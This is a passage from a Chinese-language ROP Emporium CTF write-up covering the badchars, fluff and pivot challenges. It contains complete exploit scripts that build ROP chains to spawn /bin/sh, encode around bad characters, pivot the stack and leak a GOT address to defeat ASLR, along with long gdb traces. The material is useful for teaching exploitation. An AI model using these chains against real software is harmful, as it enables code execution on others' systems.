  38. 0x08048878 <+119>: add DWORD PTR [ebp-0x4],0x1
  39. 0x0804887c <+123>: mov eax,DWORD PTR [ebp-0x4]
  40. 0x0804887f <+126>: cmp eax,DWORD PTR [ebp+0xc]
  41. 0x08048882 <+129>: jb 0x804883e <checkBadchars+61>
  42. 0x08048884 <+131>: nop
  43. 0x08048885 <+132>: leave
  44. 0x08048886 <+133>: ret
  45. End of assembler dump.

很明显,地址 0x080488070x08048823 的字符就是所谓的敏感字符。处理敏感字符在利用开发中是经常要用到的,不仅仅是要对参数进行编码,有时甚至地址也要如此。这里我们使用简单的异或操作来对字符串编码和解码。

找到 gadgets:

  1. $ ropgadget --binary badchars32 --only "mov|pop|ret|xor"
  2. ...
  3. 0x08048893 : mov dword ptr [edi], esi ; ret
  4. 0x08048896 : pop ebx ; pop ecx ; ret
  5. 0x08048899 : pop esi ; pop edi ; ret
  6. 0x08048890 : xor byte ptr [ebx], cl ; ret

整个利用过程就是写入前编码,使用前解码,下面是 payload:

  1. from zio import *
  2. xor_ebx_cl = 0x08048890
  3. pop_ebx_ecx = 0x08048896
  4. pop_esi_edi = 0x08048899
  5. mov_edi_esi = 0x08048893
  6. system_plt = 0x080484e0
  7. data_addr = 0x0804a038
  8. # encode
  9. badchars = [0x62, 0x69, 0x63, 0x2f, 0x20, 0x66, 0x6e, 0x73]
  10. xor_byte = 0x1
  11. while(1):
  12. binsh = ""
  13. for i in "/bin/sh\x00":
  14. c = ord(i) ^ xor_byte
  15. if c in badchars:
  16. xor_byte += 1
  17. break
  18. else:
  19. binsh += chr(c)
  20. if len(binsh) == 8:
  21. break
  22. # write
  23. payload = "A"*44
  24. payload += l32(pop_esi_edi)
  25. payload += binsh[:4]
  26. payload += l32(data_addr)
  27. payload += l32(mov_edi_esi)
  28. payload += l32(pop_esi_edi)
  29. payload += binsh[4:8]
  30. payload += l32(data_addr + 4)
  31. payload += l32(mov_edi_esi)
  32. # decode
  33. for i in range(len(binsh)):
  34. payload += l32(pop_ebx_ecx)
  35. payload += l32(data_addr + i)
  36. payload += l32(xor_byte)
  37. payload += l32(xor_ebx_cl)
  38. # run
  39. payload += l32(system_plt)
  40. payload += "BBBB"
  41. payload += l32(data_addr)
  42. io = zio('./badchars32')
  43. io.writeline(payload)
  44. io.interact()

badchars

64 位程序也是一样的,注意参数传递就好了。

  1. $ ropgadget --binary badchars --only "mov|pop|ret|xor"
  2. ...
  3. 0x0000000000400b34 : mov qword ptr [r13], r12 ; ret
  4. 0x0000000000400b3b : pop r12 ; pop r13 ; ret
  5. 0x0000000000400b40 : pop r14 ; pop r15 ; ret
  6. 0x0000000000400b30 : xor byte ptr [r15], r14b ; ret
  7. 0x0000000000400b39 : pop rdi ; ret
  1. from pwn import *
  2. pop_r12_r13 = 0x0000000000400b3b
  3. mov_r13_r12 = 0x0000000000400b34
  4. pop_r14_r15 = 0x0000000000400b40
  5. xor_r15_r14b = 0x0000000000400b30
  6. pop_rdi = 0x0000000000400b39
  7. system_plt = 0x00000000004006f0
  8. data_addr = 0x0000000000601000
  9. badchars = [0x62, 0x69, 0x63, 0x2f, 0x20, 0x66, 0x6e, 0x73]
  10. xor_byte = 0x1
  11. while(1):
  12. binsh = ""
  13. for i in "/bin/sh\x00":
  14. c = ord(i) ^ xor_byte
  15. if c in badchars:
  16. xor_byte += 1
  17. break
  18. else:
  19. binsh += chr(c)
  20. if len(binsh) == 8:
  21. break
  22. payload = "A"*40
  23. payload += p64(pop_r12_r13)
  24. payload += binsh
  25. payload += p64(data_addr)
  26. payload += p64(mov_r13_r12)
  27. for i in range(len(binsh)):
  28. payload += p64(pop_r14_r15)
  29. payload += p64(xor_byte)
  30. payload += p64(data_addr + i)
  31. payload += p64(xor_r15_r14b)
  32. payload += p64(pop_rdi)
  33. payload += p64(data_addr)
  34. payload += p64(system_plt)
  35. io = process('./badchars')
  36. io.recvuntil('>')
  37. io.sendline(payload)
  38. io.interactive()

fluff32

这个练习与上面没有太大区别,难点在于我们能找到的 gadgets 不是那么直接,有一个技巧是因为我们的目的是写入字符串,那么必然需要 mov [reg], reg 这样的 gadgets,我们就从这里出发,倒推所需的 gadgets。

  1. $ ropgadget --binary fluff32 --only "mov|pop|ret|xor|xchg"
  2. ...
  3. 0x08048693 : mov dword ptr [ecx], edx ; pop ebp ; pop ebx ; xor byte ptr [ecx], bl ; ret
  4. 0x080483e1 : pop ebx ; ret
  5. 0x08048689 : xchg edx, ecx ; pop ebp ; mov edx, 0xdefaced0 ; ret
  6. 0x0804867b : xor edx, ebx ; pop ebp ; mov edi, 0xdeadbabe ; ret
  7. 0x08048671 : xor edx, edx ; pop esi ; mov ebp, 0xcafebabe ; ret

我们看到一个这样的 mov dword ptr [ecx], edx ;,可以想到我们将地址放进 ecx,将数据放进 edx,从而将数据写入到地址中。payload 如下:

  1. from zio import *
  2. system_plt = 0x08048430
  3. data_addr = 0x0804a028
  4. pop_ebx = 0x080483e1
  5. mov_ecx_edx = 0x08048693
  6. xchg_edx_ecx = 0x08048689
  7. xor_edx_ebx = 0x0804867b
  8. xor_edx_edx = 0x08048671
  9. def write_data(data, addr):
  10. # addr -> ecx
  11. payload = l32(xor_edx_edx)
  12. payload += "BBBB"
  13. payload += l32(pop_ebx)
  14. payload += l32(addr)
  15. payload += l32(xor_edx_ebx)
  16. payload += "BBBB"
  17. payload += l32(xchg_edx_ecx)
  18. payload += "BBBB"
  19. # data -> edx
  20. payload += l32(xor_edx_edx)
  21. payload += "BBBB"
  22. payload += l32(pop_ebx)
  23. payload += data
  24. payload += l32(xor_edx_ebx)
  25. payload += "BBBB"
  26. # edx -> [ecx]
  27. payload += l32(mov_ecx_edx)
  28. payload += "BBBB"
  29. payload += l32(0)
  30. return payload
  31. payload = "A"*44
  32. payload += write_data("/bin", data_addr)
  33. payload += write_data("/sh\x00", data_addr + 4)
  34. payload += l32(system_plt)
  35. payload += "BBBB"
  36. payload += l32(data_addr)
  37. io = zio('./fluff32')
  38. io.writeline(payload)
  39. io.interact()

fluff

提示:在使用 ropgadget 搜索时加上参数 --depth 可以得到更大长度的 gadgets。

  1. $ ropgadget --binary fluff --only "mov|pop|ret|xor|xchg" --depth 20
  2. ...
  3. 0x0000000000400832 : pop r12 ; mov r13d, 0x604060 ; ret
  4. 0x000000000040084c : pop r15 ; mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
  5. 0x0000000000400840 : xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret
  6. 0x0000000000400822 : xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
  7. 0x000000000040082f : xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret
  1. from pwn import *
  2. system_plt = 0x004005e0
  3. data_addr = 0x0000000000601050
  4. xor_r11_r11 = 0x0000000000400822
  5. xor_r11_r12 = 0x000000000040082f
  6. xchg_r11_r10 = 0x0000000000400840
  7. mov_r10_r11 = 0x000000000040084c
  8. pop_r12 = 0x0000000000400832
  9. def write_data(data, addr):
  10. # addr -> r10
  11. payload = p64(xor_r11_r11)
  12. payload += "BBBBBBBB"
  13. payload += p64(pop_r12)
  14. payload += p64(addr)
  15. payload += p64(xor_r11_r12)
  16. payload += "BBBBBBBB"
  17. payload += p64(xchg_r11_r10)
  18. payload += "BBBBBBBB"
  19. # data -> r11
  20. payload += p64(xor_r11_r11)
  21. payload += "BBBBBBBB"
  22. payload += p64(pop_r12)
  23. payload += data
  24. payload += p64(xor_r11_r12)
  25. payload += "BBBBBBBB"
  26. # r11 -> [r10]
  27. payload += p64(mov_r10_r11)
  28. payload += "BBBBBBBB"*2
  29. payload += p64(0)
  30. return payload
  31. payload = "A"*40
  32. payload += write_data("/bin/sh\x00", data_addr)
  33. payload += p64(system_plt)
  34. io = process('./fluff')
  35. io.recvuntil('>')
  36. io.sendline(payload)
  37. io.interactive()

pivot32

这是挑战的最后一题,难度突然增加。首先是动态库,动态库中函数的相对位置是固定的,所以如果我们知道其中一个函数的地址,就可以通过相对位置关系得到其他任意函数的地址。在开启 ASLR 的情况下,动态库加载到内存中的地址是变化的,但并不影响库中函数的相对位置,所以我们要想办法先泄露出某个函数的地址,从而得到目标函数地址。

通过分析我们知道该程序从动态库 libpivot32.so 中导入了函数 foothold_function(),但在程序逻辑中并没有调用,而在 libpivot32.so 中还有我们需要的函数 ret2win()

现在我们知道了可以泄露的函数 foothold_function(),那么怎么泄露呢。前面我们已经简单介绍了延时绑定技术,当我们在调用如 func@plt() 的时候,系统才会将真正的 func() 函数地址写入到 GOT 表的 func.got.plt 中,然后 func@plt() 根据 func.got.plt 跳转到真正的 func() 函数上去。

最后是该挑战最重要的部分,程序运行我们有两次输入,第一次输入被放在一个由 malloc() 函数分配的堆上,当然为了降低难度,程序特地将该地址打印了出来,第二次的输入则被放在一个大小限制为 13 字节的栈上,这个空间不足以让我们执行很多东西,所以需要运用 stack pivot,即通过覆盖调用者的 ebp,将栈帧转移到另一个地方,同时控制 eip,即可改变程序的执行流,通常的 payload(这里称为副payload) 结构如下:

  1. buffer padding | fake ebp | leave;ret addr |

这样函数的返回地址就被覆盖为 leave;ret 指令的地址,这样程序在执行完其原本的 leave;ret 后,又执行了一次 leave;ret。

另外 fake ebp 指向我们另一段 payload(这里称为主payload) 的 ebp,即 主payload 地址减 4 的地方,当然你也可以在构造 主payload 时在前面加 4 个字节的 padding 作为 ebp:

  1. ebp | payload

我们知道一个函数的入口点通常是:

  1. push ebp
  2. mov ebp,esp

leave 指令相当于:

  1. mov esp,ebp
  2. pop ebp

ret 指令为相当于:

  1. pop eip

如果遇到一种情况,我们可以控制的栈溢出的字节数比较小,不能完成全部的工作,同时程序开启了 PIE 或者系统开启了 ASLR,但同时在程序的另一个地方有足够的空间可以写入 payload,并且可执行,那么我们就将栈转移到那个地方去。

完整的 exp 如下:

  1. from pwn import *
  2. #context.log_level = 'debug'
  3. #context.terminal = ['konsole']
  4. io = process('./pivot32')
  5. elf = ELF('./pivot32')
  6. libp = ELF('./libpivot32.so')
  7. leave_ret = 0x0804889f
  8. foothold_plt = elf.plt['foothold_function'] # 0x080485f0
  9. foothold_got_plt = elf.got['foothold_function'] # 0x0804a024
  10. pop_eax = 0x080488c0
  11. pop_ebx = 0x08048571
  12. mov_eax_eax = 0x080488c4
  13. add_eax_ebx = 0x080488c7
  14. call_eax = 0x080486a3
  15. foothold_sym = libp.symbols['foothold_function']
  16. ret2win_sym = libp.symbols['ret2win']
  17. offset = int(ret2win_sym - foothold_sym) # 0x1f7
  18. leakaddr = int(io.recv().split()[20], 16)
  19. # calls foothold_function() to populate its GOT entry, then queries that value into EAX
  20. #gdb.attach(io)
  21. payload_1 = p32(foothold_plt)
  22. payload_1 += p32(pop_eax)
  23. payload_1 += p32(foothold_got_plt)
  24. payload_1 += p32(mov_eax_eax)
  25. payload_1 += p32(pop_ebx)
  26. payload_1 += p32(offset)
  27. payload_1 += p32(add_eax_ebx)
  28. payload_1 += p32(call_eax)
  29. io.sendline(payload_1)
  30. # ebp = leakaddr-4, esp = leave_ret
  31. payload_2 = "A"*40
  32. payload_2 += p32(leakaddr-4) + p32(leave_ret)
  33. io.sendline(payload_2)
  34. print io.recvall()

这里我们在 gdb 中验证一下,在 pwnme() 函数的 leave 处下断点:

  1. gdb-peda$ b *0x0804889f
  2. Breakpoint 1 at 0x804889f
  3. gdb-peda$ c
  4. Continuing.
  5. [----------------------------------registers-----------------------------------]
  6. EAX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
  7. EBX: 0x0
  8. ECX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
  9. EDX: 0xf7731860 --> 0x0
  10. ESI: 0xf772fe28 --> 0x1d1d30
  11. EDI: 0x0
  12. EBP: 0xffe7ec68 --> 0xf755cf0c --> 0x0
  13. ESP: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
  14. EIP: 0x804889f (<pwnme+173>: leave)
  15. EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
  16. [-------------------------------------code-------------------------------------]
  17. 0x8048896 <pwnme+164>: call 0x80485b0 <fgets@plt>
  18. 0x804889b <pwnme+169>: add esp,0x10
  19. 0x804889e <pwnme+172>: nop
  20. => 0x804889f <pwnme+173>: leave
  21. 0x80488a0 <pwnme+174>: ret
  22. 0x80488a1 <uselessFunction>: push ebp
  23. 0x80488a2 <uselessFunction+1>: mov ebp,esp
  24. 0x80488a4 <uselessFunction+3>: sub esp,0x8
  25. [------------------------------------stack-------------------------------------]
  26. 0000| 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
  27. 0004| 0xffe7ec44 ('A' <repeats 36 times>, "\f\317U\367\237\210\004\b\n")
  28. 0008| 0xffe7ec48 ('A' <repeats 32 times>, "\f\317U\367\237\210\004\b\n")
  29. 0012| 0xffe7ec4c ('A' <repeats 28 times>, "\f\317U\367\237\210\004\b\n")
  30. 0016| 0xffe7ec50 ('A' <repeats 24 times>, "\f\317U\367\237\210\004\b\n")
  31. 0020| 0xffe7ec54 ('A' <repeats 20 times>, "\f\317U\367\237\210\004\b\n")
  32. 0024| 0xffe7ec58 ('A' <repeats 16 times>, "\f\317U\367\237\210\004\b\n")
  33. 0028| 0xffe7ec5c ('A' <repeats 12 times>, "\f\317U\367\237\210\004\b\n")
  34. [------------------------------------------------------------------------------]
  35. Legend: code, data, rodata, value
  36. Breakpoint 1, 0x0804889f in pwnme ()
  37. gdb-peda$ x/10w 0xffe7ec68
  38. 0xffe7ec68: 0xf755cf0c 0x0804889f 0xf755000a 0x00000000
  39. 0xffe7ec78: 0x00000002 0x00000000 0x00000001 0xffe7ed44
  40. 0xffe7ec88: 0xf755cf10 0xf655d010
  41. gdb-peda$ x/10w 0xf755cf0c
  42. 0xf755cf0c: 0x00000000 0x080485f0 0x080488c0 0x0804a024
  43. 0xf755cf1c: 0x080488c4 0x08048571 0x000001f7 0x080488c7
  44. 0xf755cf2c: 0x080486a3 0x0000000a

执行第一次 leave;ret 之前,我们看到 EBP 指向 fake ebp,即 0xf755cf0c,fake ebp 指向 主payload 的 ebp,而在 fake ebp 后面是 leave;ret 的地址 0x0804889f,即返回地址。

执行第一次 leave:

  1. gdb-peda$ n
  2. [----------------------------------registers-----------------------------------]
  3. EAX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
  4. EBX: 0x0
  5. ECX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
  6. EDX: 0xf7731860 --> 0x0
  7. ESI: 0xf772fe28 --> 0x1d1d30
  8. EDI: 0x0
  9. EBP: 0xf755cf0c --> 0x0
  10. ESP: 0xffe7ec6c --> 0x804889f (<pwnme+173>: leave)
  11. EIP: 0x80488a0 (<pwnme+174>: ret)
  12. EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
  13. [-------------------------------------code-------------------------------------]
  14. 0x804889b <pwnme+169>: add esp,0x10
  15. 0x804889e <pwnme+172>: nop
  16. 0x804889f <pwnme+173>: leave
  17. => 0x80488a0 <pwnme+174>: ret
  18. 0x80488a1 <uselessFunction>: push ebp
  19. 0x80488a2 <uselessFunction+1>: mov ebp,esp
  20. 0x80488a4 <uselessFunction+3>: sub esp,0x8
  21. 0x80488a7 <uselessFunction+6>: call 0x80485f0 <foothold_function@plt>
  22. [------------------------------------stack-------------------------------------]
  23. 0000| 0xffe7ec6c --> 0x804889f (<pwnme+173>: leave)
  24. 0004| 0xffe7ec70 --> 0xf755000a --> 0x0
  25. 0008| 0xffe7ec74 --> 0x0
  26. 0012| 0xffe7ec78 --> 0x2
  27. 0016| 0xffe7ec7c --> 0x0
  28. 0020| 0xffe7ec80 --> 0x1
  29. 0024| 0xffe7ec84 --> 0xffe7ed44 --> 0xffe808cf ("./pivot32")
  30. 0028| 0xffe7ec88 --> 0xf755cf10 --> 0x80485f0 (<foothold_function@plt>: jmp DWORD PTR ds:0x804a024)
  31. [------------------------------------------------------------------------------]
  32. Legend: code, data, rodata, value
  33. 0x080488a0 in pwnme ()

EBP 的值 0xffe7ec68 被赋值给 ESP,然后从栈中弹出 0xf755cf0c,即 fake ebp 并赋值给 EBP,同时 ESP+4=0xffe7ec6c,指向第二次的 leave。

执行第一次 ret:

  1. gdb-peda$ n
  2. [----------------------------------registers-----------------------------------]
  3. EAX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
  4. EBX: 0x0
  5. ECX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
  6. EDX: 0xf7731860 --> 0x0
  7. ESI: 0xf772fe28 --> 0x1d1d30
  8. EDI: 0x0
  9. EBP: 0xf755cf0c --> 0x0
  10. ESP: 0xffe7ec70 --> 0xf755000a --> 0x0
  11. EIP: 0x804889f (<pwnme+173>: leave)
  12. EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
  13. [-------------------------------------code-------------------------------------]
  14. 0x8048896 <pwnme+164>: call 0x80485b0 <fgets@plt>
  15. 0x804889b <pwnme+169>: add esp,0x10
  16. 0x804889e <pwnme+172>: nop
  17. => 0x804889f <pwnme+173>: leave
  18. 0x80488a0 <pwnme+174>: ret
  19. 0x80488a1 <uselessFunction>: push ebp
  20. 0x80488a2 <uselessFunction+1>: mov ebp,esp
  21. 0x80488a4 <uselessFunction+3>: sub esp,0x8
  22. [------------------------------------stack-------------------------------------]
  23. 0000| 0xffe7ec70 --> 0xf755000a --> 0x0
  24. 0004| 0xffe7ec74 --> 0x0
  25. 0008| 0xffe7ec78 --> 0x2
  26. 0012| 0xffe7ec7c --> 0x0
  27. 0016| 0xffe7ec80 --> 0x1
  28. 0020| 0xffe7ec84 --> 0xffe7ed44 --> 0xffe808cf ("./pivot32")
  29. 0024| 0xffe7ec88 --> 0xf755cf10 --> 0x80485f0 (<foothold_function@plt>: jmp DWORD PTR ds:0x804a024)
  30. 0028| 0xffe7ec8c --> 0xf655d010 --> 0x0
  31. [------------------------------------------------------------------------------]
  32. Legend: code, data, rodata, value
  33. Breakpoint 1, 0x0804889f in pwnme ()

EIP=0x804889f,同时 ESP+4。

第二次 leave:

  1. gdb-peda$ n
  2. [----------------------------------registers-----------------------------------]
  3. EAX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
  4. EBX: 0x0
  5. ECX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
  6. EDX: 0xf7731860 --> 0x0
  7. ESI: 0xf772fe28 --> 0x1d1d30
  8. EDI: 0x0
  9. EBP: 0x0
  10. ESP: 0xf755cf10 --> 0x80485f0 (<foothold_function@plt>: jmp DWORD PTR ds:0x804a024)
  11. EIP: 0x80488a0 (<pwnme+174>: ret)
  12. EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
  13. [-------------------------------------code-------------------------------------]
  14. 0x804889b <pwnme+169>: add esp,0x10
  15. 0x804889e <pwnme+172>: nop
  16. 0x804889f <pwnme+173>: leave
  17. => 0x80488a0 <pwnme+174>: ret
  18. 0x80488a1 <uselessFunction>: push ebp
  19. 0x80488a2 <uselessFunction+1>: mov ebp,esp
  20. 0x80488a4 <uselessFunction+3>: sub esp,0x8
  21. 0x80488a7 <uselessFunction+6>: call 0x80485f0 <foothold_function@plt>
  22. [------------------------------------stack-------------------------------------]
  23. 0000| 0xf755cf10 --> 0x80485f0 (<foothold_function@plt>: jmp DWORD PTR ds:0x804a024)
  24. 0004| 0xf755cf14 --> 0x80488c0 (<usefulGadgets>: pop eax)
  25. 0008| 0xf755cf18 --> 0x804a024 --> 0x80485f6 (<foothold_function@plt+6>: push 0x30)
  26. 0012| 0xf755cf1c --> 0x80488c4 (<usefulGadgets+4>: mov eax,DWORD PTR [eax])
  27. 0016| 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx)
  28. 0020| 0xf755cf24 --> 0x1f7
  29. 0024| 0xf755cf28 --> 0x80488c7 (<usefulGadgets+7>: add eax,ebx)
  30. 0028| 0xf755cf2c --> 0x80486a3 (<deregister_tm_clones+35>: call eax)
  31. [------------------------------------------------------------------------------]
  32. Legend: code, data, rodata, value
  33. 0x080488a0 in pwnme ()
  34. gdb-peda$ x/10w 0xf755cf10
  35. 0xf755cf10: 0x080485f0 0x080488c0 0x0804a024 0x080488c4
  36. 0xf755cf20: 0x08048571 0x000001f7 0x080488c7 0x080486a3
  37. 0xf755cf30: 0x0000000a 0x00000000

EBP 的值 0xf755cf0c 被赋值给 ESP,并将 主payload 的 ebp 赋值给 EBP,同时 ESP+4=0xf755cf10,这个值正是我们 主payload 的地址。

第二次 ret:

  1. gdb-peda$ n
  2. [----------------------------------registers-----------------------------------]
  3. EAX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
  4. EBX: 0x0
  5. ECX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
  6. EDX: 0xf7731860 --> 0x0
  7. ESI: 0xf772fe28 --> 0x1d1d30
  8. EDI: 0x0
  9. EBP: 0x0
  10. ESP: 0xf755cf14 --> 0x80488c0 (<usefulGadgets>: pop eax)
  11. EIP: 0x80485f0 (<foothold_function@plt>: jmp DWORD PTR ds:0x804a024)
  12. EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
  13. [-------------------------------------code-------------------------------------]
  14. 0x80485e0 <exit@plt>: jmp DWORD PTR ds:0x804a020
  15. 0x80485e6 <exit@plt+6>: push 0x28
  16. 0x80485eb <exit@plt+11>: jmp 0x8048580
  17. => 0x80485f0 <foothold_function@plt>: jmp DWORD PTR ds:0x804a024
  18. | 0x80485f6 <foothold_function@plt+6>: push 0x30
  19. | 0x80485fb <foothold_function@plt+11>: jmp 0x8048580
  20. | 0x8048600 <__libc_start_main@plt>: jmp DWORD PTR ds:0x804a028
  21. | 0x8048606 <__libc_start_main@plt+6>: push 0x38
  22. |-> 0x80485f6 <foothold_function@plt+6>: push 0x30
  23. 0x80485fb <foothold_function@plt+11>: jmp 0x8048580
  24. 0x8048600 <__libc_start_main@plt>: jmp DWORD PTR ds:0x804a028
  25. 0x8048606 <__libc_start_main@plt+6>: push 0x38
  26. JUMP is taken
  27. [------------------------------------stack-------------------------------------]
  28. 0000| 0xf755cf14 --> 0x80488c0 (<usefulGadgets>: pop eax)
  29. 0004| 0xf755cf18 --> 0x804a024 --> 0x80485f6 (<foothold_function@plt+6>: push 0x30)
  30. 0008| 0xf755cf1c --> 0x80488c4 (<usefulGadgets+4>: mov eax,DWORD PTR [eax])
  31. 0012| 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx)
  32. 0016| 0xf755cf24 --> 0x1f7
  33. 0020| 0xf755cf28 --> 0x80488c7 (<usefulGadgets+7>: add eax,ebx)
  34. 0024| 0xf755cf2c --> 0x80486a3 (<deregister_tm_clones+35>: call eax)
  35. 0028| 0xf755cf30 --> 0xa ('\n')
  36. [------------------------------------------------------------------------------]
  37. Legend: code, data, rodata, value
  38. 0x080485f0 in foothold_function@plt ()

成功跳转到 foothold_function@plt,接下来系统通过 _dl_runtime_resolve 等步骤,将真正的地址写入到 .got.plt 中,我们构造 gadget 泄露出该地址地址,然后计算出 ret2win() 的地址,调用它,就成功了。

地址泄露的过程:

  1. gdb-peda$ n
  2. [----------------------------------registers-----------------------------------]
  3. EAX: 0x54 ('T')
  4. EBX: 0x0
  5. ECX: 0x54 ('T')
  6. EDX: 0xf7731854 --> 0x0
  7. ESI: 0xf772fe28 --> 0x1d1d30
  8. EDI: 0x0
  9. EBP: 0x0
  10. ESP: 0xf755cf18 --> 0x804a024 --> 0xf7772770 (<foothold_function>: push ebp)
  11. EIP: 0x80488c0 (<usefulGadgets>: pop eax)
  12. EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
  13. [-------------------------------------code-------------------------------------]
  14. 0x80488ba: xchg ax,ax
  15. 0x80488bc: xchg ax,ax
  16. 0x80488be: xchg ax,ax
  17. => 0x80488c0 <usefulGadgets>: pop eax
  18. 0x80488c1 <usefulGadgets+1>: ret
  19. 0x80488c2 <usefulGadgets+2>: xchg esp,eax
  20. 0x80488c3 <usefulGadgets+3>: ret
  21. 0x80488c4 <usefulGadgets+4>: mov eax,DWORD PTR [eax]
  22. [------------------------------------stack-------------------------------------]
  23. 0000| 0xf755cf18 --> 0x804a024 --> 0xf7772770 (<foothold_function>: push ebp)
  24. 0004| 0xf755cf1c --> 0x80488c4 (<usefulGadgets+4>: mov eax,DWORD PTR [eax])
  25. 0008| 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx)
  26. 0012| 0xf755cf24 --> 0x1f7
  27. 0016| 0xf755cf28 --> 0x80488c7 (<usefulGadgets+7>: add eax,ebx)
  28. 0020| 0xf755cf2c --> 0x80486a3 (<deregister_tm_clones+35>: call eax)
  29. 0024| 0xf755cf30 --> 0xa ('\n')
  30. 0028| 0xf755cf34 --> 0x0
  31. [------------------------------------------------------------------------------]
  32. Legend: code, data, rodata, value
  33. 0x080488c0 in usefulGadgets ()
  34. gdb-peda$ n
  35. [----------------------------------registers-----------------------------------]
  36. EAX: 0x804a024 --> 0xf7772770 (<foothold_function>: push ebp)
  37. EBX: 0x0
  38. ECX: 0x54 ('T')
  39. EDX: 0xf7731854 --> 0x0
  40. ESI: 0xf772fe28 --> 0x1d1d30
  41. EDI: 0x0
  42. EBP: 0x0
  43. ESP: 0xf755cf1c --> 0x80488c4 (<usefulGadgets+4>: mov eax,DWORD PTR [eax])
  44. EIP: 0x80488c1 (<usefulGadgets+1>: ret)
  45. EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
  46. [-------------------------------------code-------------------------------------]
  47. 0x80488bc: xchg ax,ax
  48. 0x80488be: xchg ax,ax
  49. 0x80488c0 <usefulGadgets>: pop eax
  50. => 0x80488c1 <usefulGadgets+1>: ret
  51. 0x80488c2 <usefulGadgets+2>: xchg esp,eax
  52. 0x80488c3 <usefulGadgets+3>: ret
  53. 0x80488c4 <usefulGadgets+4>: mov eax,DWORD PTR [eax]
  54. 0x80488c6 <usefulGadgets+6>: ret
  55. [------------------------------------stack-------------------------------------]
  56. 0000| 0xf755cf1c --> 0x80488c4 (<usefulGadgets+4>: mov eax,DWORD PTR [eax])
  57. 0004| 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx)
  58. 0008| 0xf755cf24 --> 0x1f7
  59. 0012| 0xf755cf28 --> 0x80488c7 (<usefulGadgets+7>: add eax,ebx)
  60. 0016| 0xf755cf2c --> 0x80486a3 (<deregister_tm_clones+35>: call eax)
  61. 0020| 0xf755cf30 --> 0xa ('\n')
  62. 0024| 0xf755cf34 --> 0x0
  63. 0028| 0xf755cf38 --> 0x0
  64. [------------------------------------------------------------------------------]
  65. Legend: code, data, rodata, value
  66. 0x080488c1 in usefulGadgets ()
  67. gdb-peda$ n
  68. [----------------------------------registers-----------------------------------]
  69. EAX: 0x804a024 --> 0xf7772770 (<foothold_function>: push ebp)
  70. EBX: 0x0
  71. ECX: 0x54 ('T')
  72. EDX: 0xf7731854 --> 0x0
  73. ESI: 0xf772fe28 --> 0x1d1d30
  74. EDI: 0x0
  75. EBP: 0x0
  76. ESP: 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx)
  77. EIP: 0x80488c4 (<usefulGadgets+4>: mov eax,DWORD PTR [eax])
  78. EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
  79. [-------------------------------------code-------------------------------------]
  80. 0x80488c1 <usefulGadgets+1>: ret
  81. 0x80488c2 <usefulGadgets+2>: xchg esp,eax
  82. 0x80488c3 <usefulGadgets+3>: ret
  83. => 0x80488c4 <usefulGadgets+4>: mov eax,DWORD PTR [eax]
  84. 0x80488c6 <usefulGadgets+6>: ret
  85. 0x80488c7 <usefulGadgets+7>: add eax,ebx
  86. 0x80488c9 <usefulGadgets+9>: ret
  87. 0x80488ca <usefulGadgets+10>: xchg ax,ax
  88. [------------------------------------stack-------------------------------------]
  89. 0000| 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx)
  90. 0004| 0xf755cf24 --> 0x1f7
  91. 0008| 0xf755cf28 --> 0x80488c7 (<usefulGadgets+7>: add eax,ebx)
  92. 0012| 0xf755cf2c --> 0x80486a3 (<deregister_tm_clones+35>: call eax)
  93. 0016| 0xf755cf30 --> 0xa ('\n')
  94. 0020| 0xf755cf34 --> 0x0
  95. 0024| 0xf755cf38 --> 0x0
  96. 0028| 0xf755cf3c --> 0x0
  97. [------------------------------------------------------------------------------]
  98. Legend: code, data, rodata, value
  99. 0x080488c4 in usefulGadgets ()
  100. gdb-peda$ n
  101. [----------------------------------registers-----------------------------------]
  102. EAX: 0xf7772770 (<foothold_function>: push ebp)
  103. EBX: 0x0
  104. ECX: 0x54 ('T')
  105. EDX: 0xf7731854 --> 0x0
  106. ESI: 0xf772fe28 --> 0x1d1d30
  107. EDI: 0x0
  108. EBP: 0x0
  109. ESP: 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx)
  110. EIP: 0x80488c6 (<usefulGadgets+6>: ret)
  111. EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
  112. [-------------------------------------code-------------------------------------]
  113. 0x80488c2 <usefulGadgets+2>: xchg esp,eax
  114. 0x80488c3 <usefulGadgets+3>: ret
  115. 0x80488c4 <usefulGadgets+4>: mov eax,DWORD PTR [eax]
  116. => 0x80488c6 <usefulGadgets+6>: ret
